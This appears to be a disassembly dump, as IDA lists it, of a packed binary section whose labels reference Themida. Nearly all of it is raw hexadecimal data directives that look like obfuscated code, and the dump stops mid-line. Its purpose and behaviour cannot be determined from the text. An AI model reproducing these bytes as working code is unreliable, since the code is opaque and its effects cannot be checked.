245C895Bh, 24448104h, 1904h, 0C3534300h, 95A8252h, 0BD0B29EFh dd 5E21889h, 0DD9D8Bh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1B0424h, 52420000h, 0CF4535C3h, 71E796E1h dd 0E3818Ah, 6A000001h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 15042444h, 45000000h, 0CE52C355h, 3261BD09h dd 13E905E2h, 0D1000000h, 0AD4D6739h, 55DEDB30h, 2220B451h dd 94F822B5h, 0DB0B4CF5h, 0A2850Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 150424h, 53430000h, 0E8642DC3h dd 14h, 38574F29h, 3B5112A6h, 0BC50F30Ch, 5AD161B2h, 0A161E206h dd 17BD835Fh, 5E610h, 31840Fh, 870F0000h, 1, 67E9F9h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 21556EC3h, 0B5B531A9h, 0C705E219h, 0E6101785h, 105h dd 33E900h, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C2B5C2C3h, 101785C7h, 5E6h, 5ABF0000h dd 89138106h, 0E213998Dh, 0DD9D8D05h, 6A05E200h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 0A636C357h, 0D14C56BFh, 81B58B55h, 8105E20Fh, 0FFFEFF23h dd 49B589FFh, 6605E207h, 6ADB8Ch, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1A0424h, 53430000h, 8B1488C3h, 0FCE1F583h dd 90DBD89h, 0C3F605E2h, 19840F04h, 0BE000000h, 6D742B5h dd 95FFFE8Bh, 5E21621h, 57E1D681h, 89502F90h, 0F28B2404h dd 438E9h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1A04h, 0C3504000h, 7C09C9E2h, 664A89ADh, 0E52DEF81h dd 6A00B0h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h dd 56460000h, 70E608C3h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 19h, 0EEC35040h, 0B77CEBEDh, 1B50338h, 0F05E21Eh dd 8Ah, 8B71E400h, 0E203FDB5h, 0D8B60F05h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 28C35141h, 0F2717ECh dd 68Dh, 4DBD8B00h, 0BA05E206h, 6, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 14h, 0A4C35343h, 39AF9DBFh, 0C1C38B3Eh dd 8B6604E8h, 0E2F766F7h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 19h, 0F0C35141h, 5730D942h, 0ED9D8933h, 8105E21Dh dd 0C64E8ACFh, 9D82B79h, 0E21775B5h, 1C895005h, 0B8E0F24h dd 0E9000000h, 6, 61B8C65Ah, 0B5FFF95Fh, 5E22121h, 9DBD8B51h dd 5F05E22Fh, 0AB995FFh, 8B6605E2h, 6A00B0F8h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 14042444h, 43000000h dd 892CC353h, 0E2155D85h, 0E470E605h, 51006A71h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h dd 0B2E6F37Ah, 16280DD3h, 0F613C3Ah, 2A883h, 39850100h dd 0F05E219h, 6AD8B6h, 3E850h, 58200000h, 448958C3h, 44810424h dd 170424h, 50400000h, 3BD501C3h, 0BAF88B40h, 6, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 10C35343h, 0E3781947h dd 8BBB3D3Ah, 0FF78BC3h, 0F8Bh, 0AE900h, 0D7CA0000h, 0E07A47DBh dd 0C10AF522h, 2304E8C1h, 0E22B79B5h, 0E2F76605h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 0B1C35242h, 8F8D6116h dd 0C6813B00h, 1E0BB3C6h, 0BD29D82Bh, 5E20519h, 0C8B0Fh dd 8F0F0000h, 6, 23099589h, 6A5805E2h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1A042444h, 41000000h, 0BDF0C351h dd 24C466FBh, 6E9DCh, 2DE30000h, 4EF3C284h, 1B45BD29h dd 0D82B05E2h, 1B3880Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 140424h, 55450000h, 66F8ACC3h, 0B92233BEh dd 7, 1C47CCBEh, 0C18355h, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ah, 0DDC35141h, 0F4511591h, 810F82DBh, 3 dd 3BFB8B66h, 52860FD9h, 31000001h, 0E211A595h, 71958905h dd 6605E208h, 6AD98Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 78A008C3h, 6840FD0h, 8B000000h dd 0E20E29BDh, 8E905h, 0FAEB0000h, 2D3D8CBBh, 0C1F64B6Eh dd 0BC840F04h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 1B042444h, 47000000h, 6900C357h, 34365992h dd 0B58BF31Ch, 5E21739h, 162195FFh, 6A05E2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 190424h, 50400000h, 0EBEFDBC3h dd 89649CF6h, 0E214B5B5h, 9E95B05h, 7B000000h, 3A1CED59h dd 0A0096590h, 6AC32Bh, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1B0424h, 53430000h, 0CDBBC1C3h, 99FE63EAh, 8343DE3h dd 860F0000h, 27h, 68E9h, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1404h, 0C3514100h, 0B9952937h dd 8B05E20Eh, 55006AC0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1604h, 0C3554500h, 0F5B0F85h, 2084h, 0BE800h, 0A0530000h dd 50CE17DDh, 0F8C0DCC1h, 9E822h, 82B10000h, 0AE4D6EB7h dd 5EAEB742h, 8BC38B5Fh, 0E59501D8h, 0C705E222h, 0E21CDD85h dd 7EB5BF05h, 57006A3Bh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1C04h, 0C3574700h, 45EC668h, 0B7B2420Bh, 0DE89Eh, 64B70000h dd 0A9E4ADB9h, 0D9F02847h, 602FB436h, 0CE9h, 7AFED200h dd 0FF968961h, 0F4E2CBC6h, 0CAB70FD2h, 0C08B5F61h, 14958D89h dd 0BD8105E2h, 5E22121h, 7D0h, 3A850Fh, 0B70F0000h, 519D09F1h dd 0FF05E221h, 0E2212185h, 55006A05h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 1B5B0AE7h dd 1A01BD8Bh, 0BD8B05E2h, 5E20C2Dh, 2121B5FFh, 6A05E2h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h dd 0BF662FC3h, 95FFE54Fh, 5E20AB9h, 0DE8h, 0F415B200h dd 827294FFh, 0EDC2063Ah, 0BD23DE17h, 5E20785h, 0E8FC905Fh dd 8, 5B75743Ch, 5CEFF6FCh, 5FF7BF0Fh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 56C35141h, 0F41DB1A9h, 95315E67h dd 5E21DC5h, 765BD8Bh, 14E905E2h, 22000000h, 14ADA95Ah dd 176EA19Eh, 507A1729h, 3FA587DDh, 816C8F29h, 0CFF4BDC7h dd 52006A0Ch, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1504h dd 0C3524200h, 0D7813F92h, 0F328E90h, 2115BD2Bh, 0DE905E2h dd 5F000000h, 0D25C5D06h, 4C109415h, 3EEE9859h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 6CC35747h dd 2A1658A2h, 0E8B17468h, 0Ch, 0A6D9C003h, 31F21421h, 9A29E047h dd 2B75BD8Bh, 81BF05E2h, 5F4EC6D1h, 3341B9BFh, 0F78B660Ah dd 64DBD8Bh, 0BF6605E2h, 6ADF15h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1B0424h, 56460000h, 66DFCAC3h, 0DCF81A30h dd 0F7A2E929h, 0CDBFFFFFh, 8B6FD0E9h, 51006AC1h, 3E8h dd 0C3592000h, 244C8959h, 24448104h, 1504h, 0C3514100h dd 8B66C3E5h, 4EBF2h, 6A000000h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 15042444h, 47000000h, 0F726C357h, 0EE9h dd 1E754900h, 274B6002h, 587A4F16h, 0FA17A3Eh, 89F5F6B7h dd 0E2008D8Dh, 91858D05h, 6A05E20Eh, 3E85000h, 20000000h dd 8958C358h, 81042444h, 14042444h, 40000000h, 8BB0C350h dd 0E21FD5BDh, 61858905h, 0E905E21Eh, 7, 0B4D94EDFh, 505DF728h dd 0DE8h, 29544500h, 0BF2A7706h, 0D81A1012h, 0CE91811h dd 0F1000000h, 0BA1877D4h, 139C53D2h, 5F73A089h, 9240489h dd 0E20CF19Dh, 6A006A05h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 18042444h, 46000000h, 273BC356h, 6A13A3C6h dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h dd 0C3564600h, 8DCFA161h, 5599F81Dh, 0E858D32h, 6A05E61Dh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 6E00C351h, 66568840h, 8381EFBFh, 6A05C0h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h dd 60A187C3h, 0FFA8B66h, 9061D0BFh, 0BE8h, 0FA4E6E00h dd 0FBC2BC00h, 0EDDF979Dh, 8B66505Eh, 0F78B90FEh, 9E9006Ah dd 0D6000000h, 54A4914h, 697E11C6h, 0F88B006Ah, 1E2D95FFh dd 6A05E2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0FCCA38C3h, 4840FD7h, 66000000h, 0FCE49BEh dd 8Ch, 809D8D00h, 8905E59Dh, 0E22139BDh, 6AD3FF05h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 19042444h, 46000000h dd 6AFCC356h, 5EAF97ADh, 232985FFh, 6A05E2h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 41107FC3h dd 4605CAD3h, 14E862h, 5E510000h, 0FB3A89BDh, 66957DD5h dd 54E5C24Eh, 6FA76389h, 0BD33AE56h, 5E218E9h, 89EE95Eh db 2 dup(0) word_52F9CA dw 0E8h ; DATA XREF: Themida_:004EFDF0o dd 5D000000h, 1D18ED81h, 6A05E6h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 7EE54CC3h, 0B87382D5h dd 840FBD04h, 9, 66616060h, 9086F781h, 21BD8161h, 0D005E221h dd 0F000007h, 16486h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0C30B13B6h, 35CEA2D2h dd 0AE9F094h, 0AC000000h, 0E7D30C1Bh, 0FDCA9BE4h, 559D8B76h dd 6A05E215h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 15042444h, 46000000h, 6461C356h, 0FE8h, 0EC6C0100h dd 448AE17Bh, 4DDE831Eh, 38202A1Eh, 0FE9h, 6CF84A00h, 0A464B4F5h dd 862942Fh, 751E1ED9h, 0E3815Eh, 57000001h, 0FDB0B5Fh dd 8F85h, 0F6B70F00h, 1AF4BD83h, 0F0005E6h, 2E84h, 0A7E900h dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h dd 55450000h, 9141DEC3h, 40424191h, 66F78E9Ch, 0C7C7B5BFh dd 0E61AF485h, 105h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1D04h, 0C3524200h, 3C326768h, 11FB06A5h dd 8E8AB59h, 9E000000h, 8FC37696h, 600E96E6h, 0BE4BC681h dd 8B6630BAh, 0E95E61C2h, 31h, 35EFBF66h, 1AF485C7h, 5E6h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h dd 52420000h, 890E17C3h, 0E21EE59Dh, 559D8D05h, 8905E215h dd 0E21B5195h, 0FF238105h, 29FFFFFEh, 0E222FD95h, 0DB8C6605h dd 29A1B58Bh, 0C3F605E2h, 3F840F04h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 15042444h, 40000000h dd 0AF20C350h, 1DEDB58Bh, 0BE6605E2h, 0BD8BDD2Eh, 5E217A1h dd 162195FFh, 0BF0F05E2h, 48950F2h, 9C07BE24h, 17E92B83h dd 2B000004h, 0E22B35BDh, 0E900B005h, 5, 0DE030509h, 6070E6CDh dd 0E9DEE080h, 6, 0EE801345h, 0E461D9F6h, 52006A71h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0AF9BA7CFh, 86F5F6D2h, 0B60FF18Bh, 0F3B70FD8h, 6BAh dd 6AC38B00h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 101C350h, 0F560FAA9h, 64D8589h dd 0E86105E2h, 0Dh, 0CEA99DADh, 0CB8713F2h, 6D39A79Dh dd 0DE90Bh, 0E2290000h, 8873D21Ah, 0A94DAB93h, 5F7CDBDEh dd 6A04E8C1h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 14042444h, 43000000h, 6629C353h, 66162BBEh, 0F60E2F7h dd 38Fh, 0C38B6600h, 0EE9h, 62537800h, 538C51DDh, 760F6A56h dd 610DA97Ah, 0B589D82Bh, 5E21C55h, 241C8950h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 86C35343h, 5E3B1B99h dd 816651E7h, 5E1E40CFh, 2121B5FFh, 830F05E2h, 6, 33459589h dd 95FF05E2h, 5E20AB9h, 0C85BD8Bh, 0B005E2h, 0E850006Ah dd 3, 58C35820h, 4244489h, 4244481h, 16h, 8CC35040h, 6660BC8Ch dd 61FCC38Bh, 0D7E78166h, 6A70E6A8h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7765C351h db 0C3h, 1Eh word_52FD5A dw 2AC0h ; DATA XREF: Themida_:004EE19Co dd 8BE97552h, 0E20E31BDh, 0E1BD8B05h, 0E405E224h, 57006A71h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 8D892EFCh, 5E23081h, 3011B58Bh, 613C05E2h, 24C830Fh dd 0B60F0000h, 51B58BD8h, 8905E21Bh, 0E2177DB5h, 6BA05h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 5BA5ABC3h, 0BF1EBA4Ch, 59FBEF3Fh, 6AC38Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h dd 6ABCE8C3h, 0DD8D09EDh, 0C105E22Ch, 6A04E8h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h dd 4F7B62C3h, 66FA8B09h, 5E57E2F7h, 6AD82Bh, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 1B0424h, 57470000h, 430549C3h dd 13955837h, 51BE6610h, 0F28B5812h, 880FD82Bh, 18Eh, 13E8h dd 85B9CC00h, 633BAEA4h, 0EC5E1E99h, 0DB0591EDh, 0C44E90DDh dd 171DBD8Bh, 0E95E05E2h, 5, 0AAF5C23Eh, 7B904h, 8D890000h dd 5E21A01h, 6A00C183h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 14042444h, 43000000h, 3B9BC353h, 33860FD9h dd 0E8000001h, 7, 35C98645h, 0E9859BB5h, 9, 0A255890Eh dd 0F7A4EC67h, 8C665E39h, 52006AD9h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0AF3C5C47h dd 0ADD8529h, 958905E2h, 5E20ABDh, 0F04C1F6h, 0DE84h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h dd 5CE07409h, 0B5099C07h, 5E2096Dh, 162195FFh, 6A05E2h dd 3E850h, 58200000h, 448958C3h, 44810424h, 140424h, 50400000h dd 0F5BCEC3h, 58Ah, 0A915BF00h, 0C32B79FFh, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 16h, 58C35242h, 0CF81F4B6h dd 36B872Bh, 8343Dh, 58860F00h, 6A000000h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 18042444h, 45000000h, 0E6B5C355h dd 8969AD5Ch, 0E22D05BDh, 30E905h, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 170424h, 50400000h, 0CE9F91C3h dd 5E848h, 5BA90000h, 66120070h, 8B5EF18Bh, 0C38BF9C0h dd 6AD88Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h dd 56460000h, 0D7B731C3h, 1B8A4EBEh, 8B66C832h, 85C7F5F3h dd 5E200DDh, 1FEF77F5h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0A2C35545h, 38BB5662h, 6DD7FCCAh, 26A9B58Bh dd 8D2905E2h, 5E229C5h, 5E9h db 0 byte_530055 db 12h, 0DBh, 70h ; DATA XREF: ___:off_42CC84o ; ___:off_42CC9Co aAelJ db '€e‹Àj',0 dw 0E857h dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0E8C35747h, 0AD642B7Ah dd 45685121h, 0C4BE6684h, 958951E9h, 5E231C5h, 21BD815Eh dd 0D005E221h, 0F000007h, 2E85h, 55006A00h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1704h, 0C3554500h, 0EF22E261h dd 46F78166h, 2185FFB2h, 6605E221h, 0FFDAEEBFh, 0E22121B5h dd 57006A05h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1704h dd 0C3574700h, 83D80CB2h, 2C6DB589h, 95FF05E2h, 5E20AB9h dd 7E96050h, 24000000h, 3AFF272h, 61F9BAC8h, 6A905Eh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 140424h, 57470000h dd 10E88FC3h, 5A000000h, 8979F088h, 0AA5D1C9Eh, 0F0367D3Ch dd 8B7C1E87h, 8B5EF5F8h, 8820FF7h, 81000000h, 553F42D6h dd 51FA8B66h, 31BD8B53h, 6605E22Bh, 5F52C1BEh, 56006A5Fh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h dd 54DCF61h, 59DC088Fh, 1852988h, 0F05E218h, 1386h, 0D59D8900h dd 0F05E210h, 785h, 8E0F00h, 0F8000000h, 6AF0BF0Fh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 0C01CC356h, 9159938h, 0B70FF0F0h, 0EE852F8h, 97000000h dd 0F71507DBh, 0BB11CDC0h, 4DA6BDFDh, 5FFA8B76h, 2191BF66h dd 7D8D895Fh, 0E905E229h, 8, 4EAFC768h, 0AD3BE069h, 21C18501h dd 6A05E2h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h dd 56460000h, 3198A2C3h, 0B665E681h, 890F0DF1h, 0Ch, 68B0Fh dd 9D310000h, 5E21EBDh, 0FFF78DE9h, 55006AFFh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 96F32AE3h dd 667C6CB1h, 0BFB436BFh, 252948B8h, 0B58BC18Bh, 5E2041Dh dd 4EBh, 860F0000h, 6, 10D59589h, 6A05E2h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0DC24C4C3h dd 22188F95h, 0E91858Dh, 6A05E2h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1A0424h, 52420000h, 1BC29CC3h, 0F7247DCAh dd 0CF4029BEh, 7166BE0Dh, 6690058Ch, 5061E7BFh, 0C57D55BFh dd 0AE99051h, 9D000000h, 0B5632F1h, 6346E4A4h, 6A006A7Ah dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 0D868C357h, 298E516Fh, 0E21F9195h, 0F006A05h dd 858DFAB7h, 5E62780h, 68B0F56h, 81000000h, 97F701EFh dd 0BF665F44h, 0C083F050h, 8D8B6005h, 5E22FFDh, 31058D89h dd 906105E2h, 1104BE66h, 840F50h, 90000000h, 0CADB52Bh dd 9D3105E2h, 5E23155h, 8150006Ah, 1074AFF6h, 6A5F17h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0CFC35545h dd 92AC46D7h, 7BA643BEh, 0ECEE81C3h, 0F543406h, 68Dh, 95B58B00h dd 0FF05E20Ah, 0E21E2D95h, 0BD8B5105h, 5E20EB1h, 14E85Fh db 2 dup(0) word_5303B6 dw 5CC7h ; DATA XREF: Themida_:004EFC80o dd 0EA599EBCh, 15B3C6B7h, 0B93E092Bh, 0A42F34F7h, 8D5F05C8h dd 0E59D809Dh, 57006A05h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1A04h, 0C3574700h, 7EEED8B1h, 0FFEAE3A8h dd 0BE6660D3h, 0B5899748h, 5E21851h, 89B58B61h, 0FF05E232h dd 0E2232985h, 55006A05h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1C04h, 0C3554500h, 6047B113h, 405A6366h dd 59B589C4h, 0E905E211h, 8C6h, 0E8h, 0ED815D00h, 5E6278Ah dd 8E9h, 16101E00h, 8B2923B2h, 0AE9C6h, 0B7810000h, 0AFCF73A7h dd 0CA892D06h, 2121BD81h, 7D005E2h, 860F0000h, 184h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 19h, 2CC35646h, 0E366E0DEh dd 0C19D8B88h, 6A05E204h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 14042444h, 42000000h, 0F71C352h, 682h, 2BE78100h dd 81502178h, 100E3h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1404h, 0C3564600h, 0FDB0B53h, 0CC85h, 56006A00h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1704h, 0C3564600h dd 632C14Eh, 0CE8h, 2C696200h, 37F50ACh, 0E9D26898h, 85895E0Eh dd 5E20A91h, 25BBBD83h, 0F0005E6h, 3D84h, 0D6E78100h, 0E9164130h dd 8Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh dd 0FEC35242h, 0EC9E1995h, 0E9EC472Dh, 0Ah, 43FD1972h dd 838803EFh, 85C755E0h, 5E625BBh, 1, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 9BC35141h, 68E000AEh, 0FE9C60Ah dd 82000000h, 2A04CF22h, 0DEB9E70Eh, 3FD8D82Bh, 16E96A22h dd 89000000h, 0E2089D95h, 0BB85C705h, 5E625h, 8B000000h dd 0E200A9B5h, 0C19D8D05h, 8105E204h, 0FFFEFF23h, 52006AFFh dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 0F10D72E1h, 0A1A5A902h, 6ADB8C66h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 9BDC357h dd 0BEBB3CE8h, 4C3F6CAh, 5C840Fh, 0BE660000h, 5E9C883h dd 4F000000h, 0F14443E4h, 162195FFh, 8D0905E2h, 5E20AF5h dd 8B666090h, 0E85061D0h, 13h, 0C7FDB59Fh, 7C8C66Ah, 446DA8B8h dd 449F676Bh, 0E94EA91Dh, 14h, 1B1CDCDDh, 0A522B05Ch, 4D4106Ch dd 0B7A1F999h, 20E5D647h, 960905Fh, 0E2332595h, 0ECE96105h dd 8B000003h, 0E20119BDh, 6A00B005h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 7DFCC355h dd 2AA59876h, 0FC274E45h, 6A70E6h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 170424h, 51410000h, 0B65627C3h, 99BD8BAAh dd 0E405E221h, 52006A71h, 3E8h, 0C35A2000h, 2454895Ah dd 24448104h, 1404h, 0C3524200h, 0D8B60F1Fh, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0F7C35646h, 0DFBF554Fh dd 0BA38F169h, 6, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 16h, 32C35747h, 0BF0F53D7h, 1C38BF1h, 0E20B6D85h, 4E8C105h dd 2FA58D89h, 0F76605E2h, 0F1BF0FE2h, 6AD82Bh, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h dd 0A61EF1C3h, 66C4E928h, 93A680BFh, 6A9350h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 160424h, 56460000h, 21E551C3h dd 6E9h, 2CB2600h, 0FF2C900Bh, 0E22121B5h, 56006A05h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0FB707CD6h, 29362C6Bh, 0E20569BDh, 0B995FF05h, 8B05E20Ah dd 0E2177DBDh, 0F00B005h, 68Dh, 9DB58900h, 0E605E21Ch dd 57006A70h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h dd 0C3574700h, 7292B881h, 0BE923EC0h, 15A968B3h, 11E8h dd 0C0C0D400h, 0CC3D65FCh, 1A995766h, 9A483CA7h, 0E45EB6DFh dd 28B0F71h, 8B000000h, 6820FF0h, 3000000h, 0E21115BDh dd 0F613C05h, 21E83h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1D04h, 0C3574700h, 0B48CA4B3h, 4AE17BDh dd 0BD094D5Bh, 5E22311h, 89D8B60Fh, 0E2100D8Dh, 0F7B70F05h dd 6BAh, 0C59D8900h, 8B05E203h, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1704h, 0C3514100h, 83CE71Bh, 19319589h dd 0E8C105E2h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1C04h, 0C3564600h, 936CEED6h, 0B2A13AAFh dd 498D8954h, 6605E21Ch, 8B66E2F7h, 8BD82BF9h, 0EDBD89FEh dd 5805E205h, 5E9h, 9EC76100h, 0D82B43F2h, 165880Fh, 0DE90000h dd 0F3000000h, 2C9F7F7Ch, 0DFFC920Ah, 94E22BF8h, 7B9h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1604h dd 0C3534300h, 830811A8h, 9D0100C1h, 5E22525h, 860FD93Bh dd 11Fh, 1FB5BD8Bh, 8C6605E2h, 50006AD9h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 81EBD824h dd 0C03BFDFh, 11B0605Bh, 8E8h, 0BE851B00h, 37E4836Ch, 659D2BC3h dd 5905E22Ch, 4C1F661h, 0AF840Fh, 0B58B0000h, 5E22D61h dd 162195FFh, 665B05E2h, 2BD874BFh, 51006AC3h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0BF21D3A6h dd 0A660983h, 5EE8166h, 8343D60h, 860F0000h, 69h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 0D8C35545h, 13E806h dd 4EAB0000h, 6C03F3ADh, 46BDDD56h, 5F885F6Ah, 5CF6ABC6h dd 39B58BDDh, 5F05E225h, 559B58Bh, 44E905E2h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 3F27C355h, 2AD753BBh, 6AC08B9Fh, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h dd 0AEDCC353h, 8BF907C3h, 6AD88BC3h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0C23FC356h dd 8DD63F2Ch, 2CDABF3Eh, 0BD8B7891h, 5E215B9h, 155585C7h dd 0D73F05E2h, 6A1657h, 3E852h, 5A200000h, 54895AC3h, 44810424h dd 180424h, 52420000h, 0EAAD8FC3h, 9E93243h, 94000000h dd 0F7836DE1h, 0D50A814Eh, 0BD23C08Bh, 5E209D1h, 2121BD81h dd 7D005E2h, 850F0000h, 4Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 14h, 0E2C35646h, 2185FFFCh, 6A05E221h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 0DDE9C352h, 8B948666h, 81660403h, 0FF5424CEh dd 0E22121B5h, 56006A05h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1904h, 0C3564600h, 0E1BFCF83h, 0E681F9A6h dd 76878D14h, 0F6816650h, 0FF5EA5EDh, 0E20AB995h, 57006A05h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h, 0C3574700h dd 6FE55FBDh, 0F58589E4h, 9005E22Bh, 30719531h, 0E8FC05E2h dd 13h, 0F4BC92CAh, 0A60DB904h, 0C858949Dh dd 779422F9h, 893CD558h, 0E210C19Dh, 5FFE8B05h, 6AF0BF0Fh dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h dd 41000000h, 0CFE0C351h, 17C6B960h, 0BD891CC6h, 5E2040Dh dd 3DB58961h, 6605E205h, 0F052E681h, 0F6B70FF9h, 0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 60C35242h, 0C9B58B4Ah dd 6005E224h, 58E0FF9h, 66000000h, 0D252E181h, 0B72FD981h dd 8B614CEAh, 0E22D7DBDh, 0B2F78105h, 6A22ECBDh, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 17042444h, 41000000h dd 0E1F9C351h, 0E8F5F418h, 11h, 566E7EBCh, 0D18FC45Fh dd 0B61B8ED8h, 